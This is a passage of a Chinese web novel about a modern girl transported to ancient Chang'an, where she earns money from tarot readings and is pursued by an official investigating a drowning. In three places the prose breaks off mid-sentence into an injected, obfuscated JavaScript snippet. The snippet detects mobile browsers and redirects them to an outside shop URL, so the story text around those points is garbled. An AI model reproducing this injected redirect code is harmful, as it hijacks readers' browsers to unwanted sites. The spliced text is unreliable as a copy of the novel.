《我靠占卜在古代风生水起》 1. 001 孝元十五年,三月初三。 距离约定的时辰,还有一刻钟。 正值上巳佳节,依照本朝惯例,这一日要去水边饮宴、郊外踏青。举目望去,长安城内春花似锦,长安水边丽人如云。曲水流觞,饮酒入诗,欢声笑语,不绝于耳。 临近午时,太阳升到了头顶,一辆朱漆马车拐进一条小巷,巷道内岔路多如迷宫,车夫绕了一大圈后,停在一座不起眼的小院子前。 沈京墨踩着矮凳下了马车。他穿着一身雨过天青色的锦衣,外头披一件珍珠色大氅,体格单薄,面色苍白,似有不足之症。 南瓜坊院门大开,里边儿走出来一个丫鬟。 青梅微低着头,规规矩矩对他屈膝行礼:“有客人到访,岑娘子正在接待。” 名为薛岳的护卫忍不住脾气,怒目而视:“你家娘子有几个脑袋,胆敢怠慢世子爷!” 青梅神情有些慌乱,摇头道:“不是我家姑……娘子怠慢,是世子爷来晚了。娘子等了大半个时辰,才接见下一位——” 沈京墨面无表情地打断她:“还有没有其他客人?” “世子爷是最后一位。”青梅顿时松了口气,自觉转身走在前面引路。 小院不大,正房、厢房、耳房加上后罩房,统共只有五间。两边是抄手游廊,花圃内几丛月季,开得密密麻麻,艳丽夺目,灼若云霞。 花香吹拂人面,裹挟淡淡的烟味和烛香气。沈京墨皱了皱眉,眼角余光透过敞开的绮窗,瞥见厢房地面画着一个巨大的六芒星。四周摆满各式各样的琉璃杯,或红或白或黄的蜡烛浇筑其中,烛火相继燃尽,烟雾升腾缭绕,仿佛巨大的獠牙,被风轻轻一吹,凶相尽散。 沈京墨加快脚下步伐,行至正房门口时,听见里头有人说话。 是位妇人。年岁约莫四十上下,嗓音低沉且柔和,听着好听,说出来的话却十分奇怪:“圣杯首代表情感的新开始,这张牌处于逆位,说明还没开始就已经结束。我猜,孟小姐不久前向那人表明了心意,结果遭到拒绝。你与那人的联系不多,亲密度不够,这也是他拒绝你的缘由。” “对对对,我只见过京墨哥哥三次。”少女嗓音清脆,口气急促,好像在哪里听过一般,有几分熟悉的意味。 沈京墨仔细想了想,终于想起来她是谁。孟晚意,定远侯之女,外祖父的本家亲戚。 上个月初,他的外祖母——慈仪大长公主笀辰。孟晚意带着亲手绣的荷包,将他堵在湖心小岛。他不记得孟晚意说过什么,对荷包倒还有些模模糊糊的印象。 想到这里,沈京墨忍不住抽了抽唇角。那可真是太丑了! 思索间,岑娘子的声音再度飘过来:“星币八的正位。那人公务繁忙,没有时间和精力考虑男女之事。孟小姐也有自己的事要做。这个月,你们之间的关系不大可能有进展。” 沈京墨冷嗤一声。 今年年初,他出任京兆府少尹,新官上任能不忙吗?孟晚意刚满十四,这个年纪的小姑娘,隔三岔五就要相看亲事。 沈京墨撩起眼皮,眼前一挂慈竹门帘,上头绘着泼墨山水,将内里挡得严严实实,一丝一毫也瞧不见。 岑娘子,半年前横空出世的神算子,不,用她自己的说法是塔罗师,靠着塔罗问卜在贵女圈中声名鹊起。沈京墨向来不信鬼神之说,倘若不是查案,这辈子都不会踏足此处。前天傍晚,广水河下游打捞上来一具尸体,死者是位妙龄女子,生前来南瓜坊占卜过。 “……圣杯九的正位。恭喜孟小姐。下个月,只要把握住时机,孟小姐就能心想事成。”岑娘子还在继续。 孟晚意的声音听上去十分激动:“当真?” “最后一张是圣杯十,家庭牌。预示孟小姐有机会与那人结成连理,儿女双全。” 这话一出,沈京墨立刻冷了眸光。父亲的确有意与定远侯府结亲,只是此事尚在商榷之中,并未与外界通气。难道府中有岑娘子的眼线? “时机未到?”孟晚意急切追问,“我如何知晓什么时候是合适的时机?” 岑娘子又开了口。与之前刻意表现的平静不同,这一回沈京墨从她的语调里听出来一丝雀跃。 “孟小姐的能量不够,所以,我看不到具体的日子……” 沈京墨瞬间了然。 呵。 接下来就该卖法器了。 说好听点是故弄玄虚,说难听点就是坑蒙拐骗。 “孟小姐生于二月初七,”岑娘子顿了顿,哗啦啦的声音隐约传来,像是在翻阅书籍,“双鱼座。三月份的幸运色是玫瑰粉色,幸运石是红纹石。” 认真挑选完手串,孟晚意非常爽快地付了银子:“待我回府,一定日夜佩戴。” 沈京墨挑了挑眉。这个岑娘子,着实有几分本事,两句话哄得孟晚意花费重金。红纹石固然有品质上乘的,但放在东市那些首饰铺子,绝对卖不到五百两。 只是片刻,竹帘挑起。孟晚意看见沈京墨,手里的帕子差点掉到地上。她小碎步跑过来,眉眼含笑地轻唤了一声:“京墨哥哥。” 沈京墨略略颔首,也不看她,径直走进屋里去。 正中央一方胡桃木茶案,案上摆着一套琉璃茶器,案下放了一个蒲团。春日阳光穿透琉璃,在四面八方开出层层叠叠的金色花朵。沈京墨盘腿在案前坐下,随着他的动作,茶水轻轻晃动,整间屋子被照得流光溢彩,如梦似幻。 对面是一座花开富贵的绢丝屏风,绢丝如烟似雾。他抬头看向前方,于朦胧之中,瞧见一个娇小的女子轮廓。女子头戴暗紫色兜帽,身穿暗紫色长裙,脸上蒙了一层黑纱,看不清容貌。 即便没有面纱,沈京墨也看不清。 为何多此一举? 沈京墨忽然有一种感觉,也许自己曾经见过这位岑娘子,又或者是——岑娘子见过他? “世子爷想问什么?”岑娘子柔柔问道,依然是那种不轻不重、不疾不徐的语调。 沈京墨心思微动,黑眸死死盯着前方,眼神之犀利,如冬日里的寒星,又像出了鞘的冷剑。 四周无比安静,静到呼吸可闻。 温女萝坐在屏风后面,僵直着脊背,半分不敢动。 时间仿佛停滞了一般,她的额头冒出点点冷汗。就在快要撑不住的时候,沈京墨终于开了口:“岑娘子通晓古今,怎会不知本官想问什么?” 男人坐在那儿,萧萧肃肃,意态风流,宛如青瑶丛里出花枝,整个人都透着绚丽的光彩。他用葱白手指取过青绿茶盏,自己给自己倒了茶,刚抿了一口,眉宇轻蹙,立马将茶盏放下。 温女萝收回视线:“占卜有个前提——问题必须明确。世子爷如果不清楚,我没法子作答。” 沈京墨思忖片刻,修长的手指轻敲两下桌案:“有件事,压在我心里很久。请问岑娘子,何时能解决?” 真是个好问题。温女萝暗自白他一眼,随即抬手招了招。 官绿捧着一个托盘,从屏风后面转出来。 “请世子爷默念心中所求,然后抽三张牌。” 沈京墨垂眸,目光落在面前的托盘,纸牌已经呈扇形铺开,上面的图案奇奇怪怪。他来之前做过功课,知道这就是大名鼎鼎的塔罗牌,还以为会有多神奇,没想到和牙牌神数差不多。 温女萝有点惊讶。看见不属于这个时代的东西,难免会出现好奇和不解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486309|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是沈京墨没有,他仿佛一块木头,没有任何情绪波动。 男人飞快抽出来一张,再没有任何动作。 又等了一会儿,官绿转头望向屏风,目光似乎带着几分求助。 “无妨。”温女萝不怎么在意,找茬儿的嘛,当然要搞事。古人讲究内敛含蓄,像沈京墨这样不愿意实话实说的客人并不少见。但是人之欲望,终归逃不出学业、事业和情感。 经历过科举,不会问学业。 仰慕者众多,不会问恋爱。 那就只剩下事业。 长安城内妇孺皆知,宋家三小姐的尸体,被渔夫从广水河打捞上岸。 温女萝开始头疼。她不擅长破案,更不了解案情,这位世子爷看起来也不好糊弄,如果当真按照牌面来解…… 沈京墨漠然道:“如何?” “教皇正位。世子爷想的这件事会顺利解决,”温女萝硬着头皮,继续往下说,“只是需要贵人指引。” 沈京墨漫不经心地抬了眼皮:“哦,细说。” 他的反应,与没有反应相差无几。 温女萝有点恼了,索性破罐子破摔:“世子爷的贵人,要么是太阳落在金牛座的女子,要么是男性长者。世子爷不妨关注一二。” 沈京墨眉眼不动,依然保持着方才的冷淡:“哦,是么?”话毕,他单手托腮,好整以暇地注视前方。 沈京墨的举动是什么意思,温女萝总算看明白了些。不从自己口中挖出点东西,这尊大佛甭想送走。 脑海中恍然闪过一张玉雪可爱的脸,脸上神情从巧笑倩兮化作惊慌失措,接下来的发展,温女萝看不见。 却可以想象。因为宋安然死了。 “二月二十八,白云观。”温女萝深吸一口气,改了称呼,“会有沈大人想要的东西。” 沈京墨勾了勾唇角,果然。 “多谢岑娘子。”说完,他安然地坐在那里,似乎没有起身的意思,“兴隆十一年腊月十二,本官生辰。” 生意来了!温女萝两眼放光。 古人用的是农历,而占星学用的是公历,兴隆十一年腊月十二对应公元1655年1月19日。 “摩羯座。幸运色是绿色,幸运石有黑曜石、绿玉髓和石榴石。”温女萝殷殷勤勤地说。 英国公府有钱,买几块石头不在话下,就当是回报她的提点之恩。 主仆两个一条心。须臾,官绿捧来一盘子幸运物,有手串,也有纹佩,或是事事如意,或是岁岁平安……零零散散三四十件,东西虽不值钱,做工却很精美。 沈京墨正眼也不瞧,大大方方付了钱。 马车缓缓起步,向着白云观而行。 青梅左右张望一番,迅速锁上院门。 “青梅你瞧,这可是三千两,三千两啊。”温女萝抱着银票,笑得花枝乱颤。没了外人在场,她将面纱取下,嗓音恢复成十五岁少女该有的甜美,“沈大头的钱真好骗,下次还找他。” 沈大头? 官绿迅速与青梅解释,沈京墨人傻钱多,天生的冤大头,简称,沈大头。 青梅隐隐不安:“姑娘……会不会有麻烦?” “不会。”温女萝完全沉浸在金钱的快乐中,随口道,“沈大头忙着破案,没空跟我过不去。” 然而,事与愿违。 翌日一早,京兆府查封了南瓜坊,院门贴满封条以及一张查封令。探花郎文采斐然,令文写得洋洋洒洒,总结下来就是两点:罪名一,哄抬物价,扰乱市场秩序;罪名二,弄虚作假,诈欺官私财物。 瞅着右下角龙飞凤舞的签名,温女萝恨得咬牙切齿。 沈京墨! 2. 002 黄昏时分,红霞布满长安的天。英国公府百年世家,随着子孙世代繁衍昌荣,宅邸规模愈发硕大壮观。朱漆大门威严耸立,兽面铜环气度森然。府内房屋上百间,亭台楼阁穿山泻云,池馆水榭映柳迎风,布局精巧,美伦美奂,无一不恰到好处。 书房内,沈京墨坐在书案前,梳理现有的证据。 “二月二十八,白云观。” 根据岑娘子提供的这条线索,很快查到宋悠然的古怪,她与死者宋安然是一母同胞的亲姐妹,以至于京兆府一开始并没有怀疑她的证词——二十八那天,宋家两姐妹前往白云观,上完三炷香,吃过一顿斋饭,就此打道回府。 沈京墨面无表情地翻开下一页记录。 不止宋悠然,包括宋父宋母在内的所有人都在说谎。 宋安然根本没有回家,或者说,回不了。 死人是走不了路的。 凭借死者口鼻中的水草残留,确定案发现场就在白云观,推断死者是遭人溺死之后,再被扔进明镜池。白云观地处长安城中心,香火鼎盛,是以,凶手作案极有可能属于临时起意,却没想到,池水乃是活水,一直通往城外,尸体顺着水势被冲到下游。 前两次问话时,宋家上下咬死宋安然是回府之后不见踪影。这显然是在包庇宋悠然。 沈京墨抬手捏了捏眉心。 既是如此,为何不伪装成意外或自尽? 依本朝律法,人死后需要上报官府,经忤作验明正身,注销户籍,方允许入土为安。 沈京墨在京兆府当差将近两月,对底下人的行事多少有些了解。世家大族讲究脸面,自然不情愿死去的女儿像块白肉一样,失去最后的体面和尊严。通常情况下,死者没有明显外伤,亲属没有任何异议,官府就是走个过场。 奇怪的是,哪怕威逼利诱,宋家也只承认宋安然没有回府,旁的什么都不肯说。 烛火轻轻摇曳,一张鲜艳明媚的小脸,浮现在男人眼前。 无论官差如何敷衍,对于当日到访的香客,还是要例行公事,简单询问两句行踪。 那么,除了宋悠然和死者,凶案现场会不会还有第三者? 因为不能暴露身份,所以不能惊动官府。 沈京墨愈发疑惑。 这些事,她怎么会知道? 念头未落,薛岳在外头敲了敲门:“世子爷。” “进来。”沈京墨低声说。 “宋三小姐不见那天,崔驸马也在白云观。除此之外,宋大小姐每月去一次白云观,崔驸马几乎都在。”薛岳看着自家主子,脸上兴奋得发光,“属下觉得,他们两人关系不简单。” 如此,一切都能对上。沈京墨轻轻“嗯”了一声,没再开口,眉心依然紧皱。 薛岳疑惑不解:“世子爷,不抓人吗?” 沈京墨头也不抬,只问:“南瓜坊的罚金交了没?” 薛岳愣了一下才反应过来。 南瓜坊,正是岑娘子开在东市的占卜铺子。 前两天世子爷把人家的小店给查封了,不光责令限期整改,还判处十倍没收违法所得。 三万两,不是一笔小数目。 “没交。”薛岳简单地回答。 嘴角落了一抹笑,沈京墨果断下令:“即刻发布海捕文书,全城通缉岑娘子。” · 温府。 清晨的日光透过窗棂,照在温女萝的身上,她鼻尖嗅了嗅,闻到一股淡淡的药味,眉头立时皱起,抬手推开了窗子。 “如今不是冬日,嬷嬷记得时常开窗透气。”温女萝扬声嘱咐。 许嬷嬷坐在杌子上做针线,闻言抬起头,吸了吸鼻子,笑道:“姑娘说得对。奴婢老呆在这里,竟然半点闻不出,只怕是阉入了味儿。” 冯姨娘病歪歪地躺在枕头上,一听这话,泪珠滚滚而落:“都怪我,怪我不中用。” 许嬷嬷连忙丢开针线,侧身到床边劝慰:“姑娘一日大似一日,眼看着苦日子就要到头,姨娘怎么又说这些话,快别哭了……” 温女萝无奈地叹口气,又开始了。 刚穿越过来那阵,冯姨娘整日哭哭啼啼,害她误以为嫡母苛待庶女,担惊受怕得睡不着觉。 温老爷自幼父母双亡,作为武安侯府的旁支,一直依靠本家过活。成年之后,侯府给他捐了官又置了宅邸。温老爷个性懒散,人也没什么本事,考虑到他的将来,侯府老太君做主,替他礼聘商户之女为妻。成婚没多久,温老爷弄来个小妾。陶氏生得貌美如花,奈何是寡妇再嫁,不怎么敢吭声。温老爷得寸进尺,妾室通房搞出一大堆,孩子就更多了。 陶氏再怎么宽厚,也没有闲到拿自己嫁妆帮别人养孩子的地步。在温家,该有的份例一分不少,旁的万万不要想。 去年夏天,温女萝贪凉玩了会水,夜半一病不起。 古代感冒发烧是会死人的。请了两回大夫,开了五帖药,她仍然没有好转。陶氏尽了仁义,不肯再管。冯姨娘没法子,只能在一个月夜跪求月神,冰凉的井水从头浇到脚,一瓢又一瓢。 她想要用自己的命来换女儿的命。 神奇的是,温女萝渐渐好转起来。而冯姨娘,从此坏了身子骨,必须拿万金良药续命。 “阿萝。”冯姨娘红着眼睛,说话添上哭腔,“我的病好不了了,别再费银子。” 温女萝笑了笑:“姨娘尽管放心。岑娘子给的工钱不少,够用。” “岑娘子真是个好人。”冯姨娘挤出一丝笑,竟是比哭还要难看,“不够用跟我说,我来想办法。” 有办法就不会迷信,有办法就不会生病。温女萝心里想着,嘴上乖巧应下:“好。” 这时,官绿站在门外,做贼似地朝她招手。 温女萝找借口跑出来。 “姑娘,不好了!”官绿站在院子里,满脸的义愤填膺,“沈大头他……” 听完她的讲述,温女萝目瞪口呆! 抛开沈京墨钓鱼执法的行为不提,她犯的事儿顶多算是经济案件,怎么一下子上升到了刑事? “这……合法吗?”温女萝怀抱最后一丝希望。 “奴婢不知。”官绿说着,掏出一本厚厚的书,“所以,回来的路上买了《大周律典》。” 温女萝接过来,十分快速地翻看,少顷,目光在其中一页停住:凡用计诈伪欺瞒官私以取财物者,数倍没收诈欺之赃,未能足数上交者,徒三月。 “徒三月。” 温女萝不自觉地念出了声。 要!坐!牢! 这一刻,她忽然意识到了普法的重要性。多亏沈京墨将岑娘子的行为定性为情节轻微,否则,等着她的将是杖刑、绞刑、当街处刑…… “姑娘,我们逃吧。”官绿几乎要哭出来。 “好了好了。”温女萝已然恢复冷静,抬手拍了拍她的肩,“沈大头要抓的是岑娘子,我不会有事。” 官绿仍旧不放心:“万一沈大头认出姑娘,怎么办?” “那海捕公文上就该是我的名字。”温女萝分析给她听,“沈大头设计陷害,为的无非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486310|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是宋家三小姐的案子,他破不了案,就想在岑娘子身上找线索。” “可是,宋家三小姐的死和我们没关系。”官绿攥紧小拳头,“不分青红皂白的狗官,白长了一张好脸!” 温女萝深以为然。 沈京墨,字既白,英国公世子,十四岁时下场秋闱,一举夺得解元。隔年祖父亡故,守孝耽搁到了十八岁,他才去参加会试,天子钦点为探花,容貌自然不差。 南瓜坊那座屏风做了特殊设计,外面的人看不清里面,里面的人却可以看见外面。所以探花郎的长相,温女萝看得清清楚楚。不过沾武安侯府的光,她此前便在慈仪大长公主府见过沈京墨一回,唇红齿白,丰硕长眉,的确十分养眼。 “沈大头最近的行踪,叫昌荣在外头打听下。”温女萝顿了顿,又道,“再寻一套男子的衣裳来。” 官绿脸色大变:“姑娘要去见他?” “不然呢?”温女萝反问,“我们可以躲在府里,青梅怎么办?” 和官绿一样,青梅原是温女萝的贴身丫鬟。陶氏以缩减开支为由,打发了青梅出府。青梅的父母不愿意养,找了人伢子,要将女儿再卖一道。温女萝以岑娘子的名义买下青梅,后来又添了小厮昌荣。两个人在外头帮她照看南瓜坊。沈京墨要是顺藤摸瓜,岂不是一摸一个准。 还有冯姨娘。到底是因为她才坏了身子,为了治病不得不想法子挣钱。 温女萝烦躁地抓了抓头发。 到了古代,依然是一枚社畜! · 清晨时分,京城的大街小巷渐渐热闹起来。店家忙着开张做生意,赶集的百姓穿梭于西市,人来人往,好不热闹。 沈京墨走进一家面馆,照例要了楼上“雅座”。 面馆的生意极好,二楼也快坐满,伙计先是在临窗的位置围上三扇纸糊的屏风,然后才请客人落座。 沈京墨没有动。 薛岳掏出两三条手帕,仔细地擦拭桌椅,确保一粒灰尘也没有。 伙计视而不见,端着大托盘上了两碗面,丢下一句“客官慢用”,转头便下楼忙活去了。 牛肉面香气四溢,薛岳食指大动,三两下就解决干净,连汤汁也没有放过。 胳膊肘抵着窗台,沈京墨单手托腮,目光望向外面熙熙攘攘的人群,倏尔,他坐直身子,如点漆般的黑眸里多了一丝水亮。 集市那头,一名行色匆匆的小郎君正快步朝面馆走来,头戴幞头帽,身穿绿长衫,一张小脸白得发光,在人群当中格外惹眼。 上了二楼,温女萝只扫一眼,立刻发现沈京墨的所在。 无他,太招摇尔。 这家面馆就是做做小本生意,压根没有雅座的说法。 温女萝在屏风前站定,垂头想了想,决定讲究一下,当即双手抱拳,声音铿锵有力:“大人在上,草民斗胆,有冤情禀报!” 穿过来大半年,还是没有完全搞清楚古代的繁文缛节。可她从前是某江的忠实读者,看过的古言小说多达上百本,因此很有自信。 沈京墨只觉得这人有病。 “请进。”他淡淡道。 无视掉四周食客惊奇的目光,温女萝拉开一扇屏风,大摇大摆地走进去坐下。 桌上摆着一碗面,红油打底,牛肉切块,鲜绿的葱花撒在上头,看起来很好吃。 温女萝咽了口口水:“给我也点了一份啊,沈大人行事果然周到。” 她将面端到自己跟前,拿起筷子低头开吃,半点不客气。 沈京墨:…… 3. 003 薛岳守在屏风外头,“雅间”内只剩下两人。 温女萝拿起筷子,夹了面条塞进嘴里,哧溜哧溜,吧唧吧唧,丝毫瞧不见官家千金该有的矜持。 沈京墨面无表情地注视着她。 这并不是他们第一次见面。 慈仪大长公主笀辰那天,苏大学士之女不慎遗失了一支牡丹金钗。 “我再重申一次,那是宫里皇后娘娘的赏赐。各位姐姐妹妹,如果有捡到,请交还于我。”苏晴满脸焦急。 她的用词称得上十分客气。王皇后看重苏家,赏的及笄礼又华丽又招摇,如果不是有人故意为之,不可能消失得无声无息。 四周安静了一阵子,无人承认。 孟沅气得小脸通红:“今日是我祖母的好日子。你们……你们欺人太甚,别怪我把事情闹大。” 沈京墨被请到湖心小岛,身为京兆府少尹,又是慈仪大长公主的外孙,由他来调查最合适不过。公平起见,同行的还有大理寺少卿家的两位公子。 “搜身。”沈京墨懒得理会姑娘家的头花官司,处理方式十分简单粗暴。 话音坠地,没有哪位千金小姐肯答应。 “我想起来了。”苏晴忽然伸出食指,指向一个眼生的女孩子,声音稍稍拔高,“你方才一直在水边鬼鬼祟祟,肯定是你捡了我的钗子。” 被指的女孩子一脸莫名其妙,却没有半点儿不慌乱,冷静出言反驳:“你不曾来过水边,我不曾近过你的身。苏小姐耳聪目明,睁眼说瞎话也该有个限度。” 孟沅似乎没认出她是谁,但是无关痛痒,不过须臾便点了点头:“这位姑娘说得在理,苏姐姐再仔细想想。” 苏晴镇定自若,瞟了一眼温晏禾,目光意味深长:“承议郎节俭持家,这样的场合十七姑娘恐怕是头次参加,不知道其中利害情有可原。” 沈京墨挑了下眉,心中当即有了答案。 温老爷在京中可谓小有“名气”。少时赖着武安侯府,成年以后靠妻子养活。如今更是扯下遮羞布,开始卖女儿,嫁出去一个女儿,白得五千两聘礼。他们家的十七姑娘,好像叫“女萝”。 苏晴刻意点出温女萝的出身,又将嫌疑往温晏禾身上引,根本是贼喊捉贼。 温晏禾自然知道自己的无辜,一伸手,将身边的女孩子往前推了推:“你捡了就赶紧拿出来!若果真不是你,正好证明清白。好心带你出来,莫要连累我的名声。” 温女萝猛地转过头,盯着本家堂姐。一双大眼睛似水洗过的琥珀,仿佛在说—— 蠢货! 嘴角微不可察地弯了弯,沈京墨以拳抵唇,轻咳了一声:“在场所有人都有嫌疑,你们是自己搜?” 他环视众人一圈,目光森寒:“还是本官叫衙役来?” 一众贵女面露难色,自是百般不肯千般不愿。 孟沅左右望了望,最终定格在温女萝身上:“请姑娘配合。” 沈京墨毫不意外。柿子挑软的捏,何况温晏禾素来与苏晴不和,极有可能趁机生事。 无独有偶,有此想法的大有人在,几个小姑娘聚在一起窃窃私语。 温晏禾看起来如芒在背。沈京墨还没开口,她竟然直接伸手,去扯温女萝的衣襟。 倏地,沈京墨只觉胸口好像生出了一团火,隐在袖子底下的双手紧握成拳:“慢着。” 温晏禾停住动作,手上却是抓着领口不放。 苏晴适时开口:“阿禾如此激动,不像是自证清白,倒像是趁机栽赃。” 温晏禾红了脸庞,支支吾吾的模样真像有几分心虚。温女萝一把推开她,转而拉住苏晴的手,央求道:“好姐姐,你要搜便搜,别为难我。” 苏晴笑着点头:“妹妹放心。” 温女萝抬高双臂,双眸低垂。 微风吹动衣袖,带来一段淡淡的清香。沈京墨瞧见她睫毛扇了扇,眼底闪过一抹几乎难以觉察的得意。 他的嘴角稍稍上扬,看来不是什么软柿子。 苏晴伸出双手,顺着温女萝的胳膊,一寸一寸往下摸,口中忽然“嗳”了一声,似乎分外惊诧。她右手捏住半截琵琶袖,左手跃跃欲试,仿佛里头有什么东西。 说时迟那时快,一抹黑影自袖中飞奔而出,好巧不巧降落在苏晴的鼻头。 咕呱——咕呱—— 蛙鸣声浑厚有力,伴随腹部起伏,带着绿藻和淤泥的池水从蛙嘴喷出。 苏晴先是一怔,待鼻尖嗅到一股腥臭,她控制不住地尖叫起来,一边叫,一边往孟沅的方向跑。 “阿沅,救我!” 孟沅表情嫌恶,正要躲开,却见苏晴趔趄两下,摔在地上一个嘴啃泥。 始作俑者完全不受影响,继续优哉游哉地向前蹦跶,湖边芦苇晃动两下,青蛙不见踪影。 与此同时,“咣当”一声响,一支耀眼的牡丹金钗,从苏晴袖中滑落。 真相如何,不言自明。 温晏禾冷嘲热讽,孟沅恼羞成怒,苏晴顾不上解释,一味儿地哭哭唧唧,旁边的姑娘看不过眼,或是扶她起身,或是落井下石,或是帮忙辩解……场面顿时混乱起来。谁都没有注意到那双踩上苏晴裙摆,又偷偷往回收的粉色绣鞋。 除了沈京墨。 他瞧着女孩子,觉得她跟别的人不一样。 察觉到男人的目光,温女萝抬起头来,对他笑了一笑:“沈大人,多谢你的面。” 思绪从回忆里抽出,沈京墨瞟了一眼干净到几乎不用洗的空碗,忍不住出言讥讽:“十七姑娘好胃口。” 温女萝轻叹一口气,沈大头果真记得她。 “唯美人与美食不可辜负,沈大人秀色可餐,自然要多吃些。” 话毕,她直勾勾地盯着沈京墨,目光更加肆无忌惮。 这位沈大人,号称京都第一美男子,五官精致得如同雕刻,肤色白皙,仿佛暴雨打落的梨花,几分柔弱几分哀愁,叫人莫名地想要抱抱他。 这该死的破碎感,想睡! 思及此,温女萝的心怦怦乱跳,脸也有点发热。 “嗯……”沈京墨倾身凑近,鼻尖轻嗅,薄薄的嘴唇上下张合,说,“一股药味儿。” 温热的气息洒在面上,温女萝噌地一下站起身,连连往后退开两步。 长凳划过地板,发出刺耳的声响。 “你……你变态!”她红着脸,胸口微微起伏,分不清是生气还是害羞。 “十七姑娘缓带生香,”沈京墨口气冷淡,又提醒了一句,“当心凶手杀人灭口。” 长久地浸在某种气味中,要么渐渐习惯,要么变得极其敏感,而他正好属于后者。在南瓜坊的时候,屏风后面隐约飘来一股淡淡的香味,与他在温女萝身上闻到过的那股药味,竟是别无二致。 温女萝举起自己的衣袖,低头嗅了嗅上面的味道。 怪不得。沈大头能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486311|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够一眼看穿,靠的不是眼睛,而是狗鼻子! “沈大人所言有理。为了早日抓住真凶,我必须与宋三小姐见上一面。”温女萝挺直腰板儿,颇有几分大义凛然。 沈京墨仰头看她,端详许久才徐徐站起,一言不发地往外走。 西市汇聚三教九流,小贩几乎将摊子堆到道路中央。此时辰时刚过,正是最热闹的时候,马车走走停停,半天挪不了几步。 车厢内,沈京墨靠在椅背上闭目养神。座椅上铺设青色绣缠枝莲花的锦缎,还搁着个樱粉色的靠枕,绣的是两只圆滚滚的小兔子,正安静地相拥而眠——画面之可爱,与其主人冷淡无情的名声极不相符。 温女萝盘腿坐在下面的绒毯,看着有趣儿,不由眼角上扬,像是发现了什么不得了的“秘密”。 嘻嘻,沈大头有一颗少女心! 男人忽然睁开眼,正对上她没来得及收回的目光。 一高一低,一俯一仰,马车轻轻晃动,谁都没有先开口。 恰在此时,马车猛地加快行进速度。 温女萝猝不及防,整个人陡然失去平衡,她伸手在空中乱挥,企图抓住什么稳住身体,眼看屁股一滑,就要撞上钉死的茶几尖角,一只骨节分明的手抓住她的胳膊,如同拎一只猫儿般,将她拎了起来。 沈京墨的身子本就羸弱,再加上方才没吃早饭,现在突然发生这样的事情,终是脱力地松开了手,任由女孩子摔在他怀中。 咫尺之间,男人身上的皂角香气钻入鼻尖,淡淡的很好闻。 像妈妈的味道。温女萝情不自禁地凑近。 她的小脸几乎埋在他的胸膛。 沈京墨觉得自己的心口有一只小鹿马上要跳将出来,这种感觉并不令人讨厌,仿佛世间所有的烦恼都在此刻消失不见。 男人抬起手,揪住温女萝的后领,轻轻往上一提。 温女萝一个激灵,立刻起身坐到旁边,娇小的身躯缩着,唯恐玷污了沈大人的“清誉”。 沈京墨薄唇紧抿,毫不迟疑地挪向另一侧,面色平静而冷淡。 宽大的座椅上,两人一左一右,仿佛隔着楚河汉界。 约莫过去两刻钟,马车缓缓停了下来。 “大人,到了。”薛岳高声道。 温女萝率先撩起车帘,不等脚凳摆好,她已经从马车上跳下来。 不知怎的,沈京墨的眼皮跟着一跳。 京兆府位于长安城西的光德坊,负责管辖长安及其周边十二县。迎面就是府衙大门,巨大的匾额高悬头顶,上面写着“京畿道署”四个大字。 顺着甬道往里走,温女萝看见两侧高墙各开一扇小门。左边那扇通向临时拘押犯人的外监,门内传来吵闹人声,一名衙役走进去,片刻后鞭声猎猎,紧接着是几声惨叫,一声比一声凄厉。 四周蓦然安静下来,陷入死一般的沉寂。 温女萝头晕目眩。 前世与今生交叠,她仿佛又回到了现代。 “都怪你这个赔钱货!害我在亲戚朋友面前抬不起头,害我这辈子没有儿子送终,我打死你!” 爸爸醉得很厉害,随手折断一根刺条,狠狠抽她。尖刺嵌进皮肤,留下一个个窟窿眼,鲜红的血珠渗出来,将白色的连衣裙染红,像极了雪地里绽放的红梅。 梅花香自苦寒来,妈妈说,要好好长大,要像梅花一样美丽又坚强。 因为妈妈再也不能保护她。 4. 004 爸爸常年家暴,妈妈给妇联打过电话,也找过村委会,得到的回复永远只有“家和万事兴”。 于是,爸爸死了,妈妈也死了。 温女萝驻足不前,眼神空洞无物,仿佛灵魂离开了躯壳似的。 沈京墨看她许久,觉得有点不对劲。他斟酌片刻,揪住她的袖子,主动走在前方带路:“这边。” 义庄建在京郊近旁,距离府衙几十来里路,不方便办案。于是乎,如今的土地祠已然变成临时停尸房。 有过前车之鉴,温女萝收敛起好奇心,快步向前目不斜视,忽然感觉衣袖一重。 她回头看。 沈京墨垂下眼睫,神情漠然,语气平静得近乎冰冷:“负责验尸的秦雅颂,是长安城最有名的仵作。你若是验不出新东西,本官要治你妨碍公务之罪。” 温女萝气结。难怪先前一声不响,原来是在这儿等着! 